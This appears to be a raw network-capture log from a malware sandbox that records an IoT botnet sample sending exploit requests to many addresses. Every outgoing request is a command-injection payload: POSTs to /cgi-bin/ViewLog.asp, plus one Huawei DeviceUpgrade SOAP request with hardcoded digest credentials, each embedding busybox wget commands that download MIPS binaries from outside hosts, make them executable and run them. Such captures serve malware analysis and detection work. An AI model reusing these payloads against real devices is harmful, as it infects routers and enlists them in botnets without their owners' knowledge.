/tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.13	35798	62.192.140.228	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:00.868355989 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:01.064431906 CET	189	IN	HTTP/1.1 404 Not Found server: owsd content-type: text/html content-length: 38 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.13	59426	94.190.212.214	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:00.870708942 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:01.191761971 CET	137	IN	HTTP/1.1 404 Not Found Connection: close Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.13	41780	94.121.28.91	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:01.097738981 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.13	58852	31.200.44.103	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:01.714658022 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.13	41712	95.86.113.160	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:01.717155933 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.13	50442	94.120.40.60	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:02.186999083 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.13	48670	62.29.41.40	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:02.277961016 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.13	43778	94.182.172.211	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:02.309415102 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:02.575556993 CET	247	IN	HTTP/1.1 404 NOT FOUND Server: Werkzeug/3.0.1 Python/3.11.5 Date: Thu, 23 Nov 2023 04:18:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 207 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.13	33858	94.111.46.168	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:02.819458008 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.13	33856	62.29.47.134	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:03.233551025 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.13	38648	94.122.207.243	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:03.262255907 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.13	36830	95.217.95.222	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:03.652225971 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:03.848407030 CET	212	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Date: Thu, 23 Nov 2023 04:18:03 GMT Content-Length: 18 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.13	53860	156.234.127.101	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:03.744648933 CET	790	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewSta
Nov 23, 2023 05:18:03.905232906 CET	361	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 23 Nov 2023 04:18:05 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.13	41152	62.149.28.18	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:03.834402084 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.050426006 CET	556	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:18:03 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.13	33354	31.136.6.66	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:03.837444067 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.422215939 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:05.542215109 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:07.782187939 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:12.390192032 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:21.350152969 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.13	54848	94.120.222.42	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:03.841058016 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.13	33572	94.122.89.211	8080

Timestamp	Bytes transferred	Direction	Data
